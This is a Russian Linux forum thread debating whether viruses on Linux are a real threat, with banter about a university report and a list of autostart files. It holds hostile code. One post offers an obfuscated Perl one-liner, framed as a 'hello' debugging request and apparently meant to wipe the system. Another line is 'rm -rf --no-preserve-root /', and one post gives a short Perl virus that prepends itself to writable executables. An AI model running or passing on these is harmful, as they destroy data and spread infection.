Настоятельно просим вас при общении соблюдать Правила форума и законы РФ. Наша тематика вне политики, поэтому воздержитесь от обсуждения ситуации на Украине и связанных с ней событий, независимо от того, какую сторону вы поддерживаете.
Также напоминаем, что наш форум находится в доменной зоне .ru, физически расположен на российских серверах и мы соблюдаем действующее законодательство России. Любые сообщения о политике будут удаляться.
Linux Forum → Разговоры о Linux и не только → Поделитесь своим мнением о вирусах в Linux
Это авторские материалы: http://forum.drbatty.ru/viewtopic.php?f … mp;start=0
Интересно :cool:
Вот только - нужно ли это обычному пользователю?
Да, я знаю, что "пользователи бывают разные".
И, тем не менее... :rolleyes:
Вот только - нужно ли это обычному пользователю?
дык... смотрим на сабж, смотрим в гугл...
выходит - нужно.
Да, я знаю, что "пользователи бывают разные".
И, тем не менее... rolleyes
пользователи, которым "не нужно" не задаются такими вопросами. они сидят фконтакте, и приносят пользу и деньги владельцам ботнетов.
Периодически проблемы появляются smile. Недавно нам на форум постили ссылочку вредоносную smile. Преинтереснейшая ссылочка, но после обновления системы работать не хочет sad
А можно мне? Просто интересно, как бразуер, с не самой лучшей поддержкой web-технологий, может быть лучше FF.
пользователи, которым "не нужно" не задаются такими вопросами. они сидят фконтакте, и приносят пользу и деньги владельцам ботнетов.
таких >90%
таких >90%
про таких речи и нет. да и не ходят они суда.
Букаф много, ниасилил.
Продолжим дискусию.
drBatty
есть. только что такое svchost мне неведомо до сих пор.
Ну это несложно. Этот процесс запускает в себе системные службы (к-е чаще всего выполнены в виде dll). Служб много, если бы каждая из них была в отдельном процессе, юзер опух бы листать диспетчер задач. А так всего 3-4 процесса svchost. К сожалению, Linux постепенно приближается к распуханию диспетчера задач, возможно скоро тоже придется изобретать какие-нибудь контейнеры. Впрочем, один уже есть - общий сетевой даймон (убейте не помню как он называется).
Но все это мимо темы.
враньё, а не справка (пруф надо?) враньё, рассчитанное на тупое быдло.
Я имел ввиду не системную справку, а ту, которая вызывается в программах по F1 или в меню "Справка".
Насчет точек старта. Их куча. Откройте ман какой-нибудь серьезной программы - в конце обязательно будет список не только конф-файлов, но и файлов автозапуска.
Из системных:
/etc/inittab
/etc/init.d/*
/etc/rc.local
/lib/lsb/init-functions
/lib/init/vars.sh
Из пользовательских:
~/.bashrc ~/.bash_logout ~/.bash_profile~/.profile ~/.shrc ~/.login ~/.mailrc
~/.gdbinit
~/.xinitrc
Это я еще мало смотрел.
Вызвало скупую мужскую слезу. Да-а.
В каком-то программистском жж-сообществе я увидел сообщение о глюке в Ubuntu Linux, появившемся после посещения сайта Х. Дернул меня черт посмотреть, что за сайт такой. Я туда зашел и подхватил вирус. Вот, что по этому говорит Norton Safe Web:
...
http://prool.livejournal.com/1322440.ht … 6#t7255496
// или лучше было запостить в Юмор?
Доклады специалистов кафедры 12 НИЯУ МИФИ. "Скрипт-вирусы Linux".
Доклады специалистов кафедры 12 НИЯУ МИФИ.
доклад какого года?
если верить этому:
"Скрипт-вирусы недооцениваются по причине ошибочного мнения, что эти вирусы не могут получить в системе привилегированных прав, а значит, не способны причинить существенный вред. Данное заблуждение связано с заявлениями антивирусных экспертов, которые большую часть времени работают с вирусами, написанными на языке Assembler."
я последний ассемблерный вирус видел где-то около 5-6 лет назад.
остальное там вообще вода.... wink
sbin пишет:Доклады специалистов кафедры 12 НИЯУ МИФИ.
доклад какого года?
если верить этому:
"Скрипт-вирусы недооцениваются по причине ошибочного мнения, что эти вирусы не могут получить в системе привилегированных прав, а значит, не способны причинить существенный вред. Данное заблуждение связано с заявлениями антивирусных экспертов, которые большую часть времени работают с вирусами, написанными на языке Assembler."я последний ассемблерный вирус видел где-то около 5-6 лет назад.
остальное там вообще вода.... wink
Доклад от 19 июля 2010 года, там же указано..
Тем не менее почти дисер 
Тем не менее почти дисер
где доказательства возможности поднятия прав? оО
Так твоими же "словами":
Termo пишет:я вот под юзером могу изменить файлы только в директории /home
фига, а я только в директории $HOME/
Termo, у тебя дыра в безопасности.Termo пишет:а можно в двух словах про что там речь?
ну как же - http://linuxforum.ru/viewtopic.php?id=5863
я последний ассемблерный вирус видел где-то около 5-6 лет назад.
остальное там вообще вода....
А где видел?
Мне вся эта байда очень напоминает разговоры о московском Спартаке. http://spartak.msk.ru/gb/2010-08-30_1.html, например...
Никто вирусов не видел и не словил, но все о них говорят
Так твоими же "словами":
это не я диссертацию писал, чтоб меня цитировать.
А где видел?
в коллекции.
обучающий релиз от интернет-портала <...> "создай свой вирус на ассемблере"
+ примеры кодов.
ой, как давно это было.
зачем я про них читал, до сих пор не понимаю.... smile
sbin пишет:Так твоими же "словами":
это не я диссертацию писал, чтоб меня цитировать.
Так я так тоже не писал. Я писал про то, что это почти дисер.
CENSORED это, прости Господи, а не дисер. smile
седьмая вода на киселе...
где глубинный анализ проблемы? где примеры кодов?
где пояснения по методам внедрения вредоносного ПО?
где, наконец, ЕДИНСТВЕННЫЙ РАБОТАЮЩИЙ СКРИПТОВЫЙ ВИРУС ДЛЯ LINUX?
который, кстати, не надо компилировать... wink
где, наконец, ЕДИНСТВЕННЫЙ РАБОТАЮЩИЙ СКРИПТОВЫЙ ВИРУС ДЛЯ LINUX?
который, кстати, не надо компилировать...
Вы что, нарочно из себя дурака стоите?
И почему единственный? И скрипт не надо компилировать. И написать сами можете.
Ну это несложно. Этот процесс запускает в себе системные службы (к-е чаще всего выполнены в виде dll). Служб много, если бы каждая из них была в отдельном процессе, юзер опух бы листать диспетчер задач. А так всего 3-4 процесса svchost. К сожалению, Linux постепенно приближается к распуханию диспетчера задач, возможно скоро тоже придется изобретать какие-нибудь контейнеры.
это я и так знаю. я не могу понять, какой процесс надо убить, что0бы и система работала, и вирус здох (хоть временно).
Это я еще мало смотрел.
от то-то и оно. "мало"! я про то и говорю, что всегда можно посмотреть.
Доклад от 19 июля 2010 года, там же указано..
Тем не менее почти дисер smile
а? а процитируйте плз непонятный файл DOC (кстати, чем это открывать?)
Вы что, нарочно из себя дурака стоите?
И почему единственный? И скрипт не надо компилировать. И написать сами можете.
так примеры будут? или отделаетесь общими фразами и ссылками непонятно куда?
конечно, отделается. smile
нету работающих вирусов у нас, нету... 
нету работающих вирусов у нас, нету.
Есть только милые шутки. Типа такой:
Помогите отладить программу на Perl. Должна выводить hello, но не выводит!
perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
(только не ведитесь)
Writer
rm -rf --no-preserve-root / ?
Угу.
в курсе.
а как народ на xaker.ru, попал на эту первоапрельскую шутку в курсе, не?
и сколько потом было матов!!! 
смысл патча Бармина в рукоприложении самого юзера.
где, мать их, автоматизьмы? 
Помню, помню
Ребята запускали этот rm -rf прямо на боевых серверах и ещё терпелиов ждали, когда он всё снесёт.
drBatty
так примеры будут? или отделаетесь общими фразами и ссылками непонятно куда?
#!/usr/bin/perl
$ARGC = @ARGV;
$_ = "@ARGV ";
if (!$ARGC || m/-\? / || m/-h / || m/--help /) {
print <<HELP;
virus.pl <victim> | -h | --help
HELP
} else {
$filename = $ARGV[0];
if (-w $filename && -x $filename && open(FILE,$filename)) {
@strings = <FILE>; open(I,$0);
if ($strings[0] == <I>) {
@virstr[0..19] = <I>;
open(FILE,">$filename");
print FILE $strings[0]; undef $strings[0];
print FILE @virstr;
print FILE @strings;
};
};
};Только вы все равно "докажете" что он не настоящий и работать не будет.
Termo
нету работающих вирусов у нас, нету...
Интересно, так будет считать каждый пользователь до тех пор, пока его компьютер действительно не "поимеют"?
drBatty
это я и так знаю. я не могу понять, какой процесс надо убить, что0бы и система работала, и вирус здох (хоть временно).
Создавайте отдельную тему, если есть какие-то проблемы с удалением Windows-гадостей.
Только вы все равно "докажете" что он не настоящий и работать не будет.
три года назад по стране пробежался Penetrator, который попортил не один компьютер.
у меня есть его исходный код, который я получил, распаковав исполняемый файл.
естественно, такой код не является 100% копией первоначального файла, но, тем не менее, разобрать его можно.
так вот, если я сейчас выложу этот код, даже если я его скину в исполняемый файл *.exe, то что будет?
правильно! ничего...
так же и здесь. где исполняемый файл?
я сейчас что, должен сохранить этот код в файл virus.pl, сделать его исполняемым, поднять ему права и поместить в автозагрузку?
хороший такой вирус... а главное - вредоносный!
smile
Ладно, глумитесь дальше, раз не хотите серьезного обсуждения.
Только вы все равно "докажете" что он не настоящий и работать не будет.
а он работает? щаз пообедаю, попробую запустить. или сразу скажите, что это бесполезно?
Интересно, так будет считать каждый пользователь до тех пор, пока его компьютер действительно не "поимеют"?
вы же сами говорите: "не работает"?
да, а как он запускаться будет?
Создавайте отдельную тему, если есть какие-то проблемы с удалением Windows-гадостей.
лично у меня нет проблем. у вас, как я понимаю - тоже. Это даёт вам право говорить за всех? Ну перечитайте первый пост, что народ думает... Мнение - типичное.
Linux Forum → Разговоры о Linux и не только → Поделитесь своим мнением о вирусах в Linux
Форум работает на PunBB, при поддержке Informer Technologies, Inc
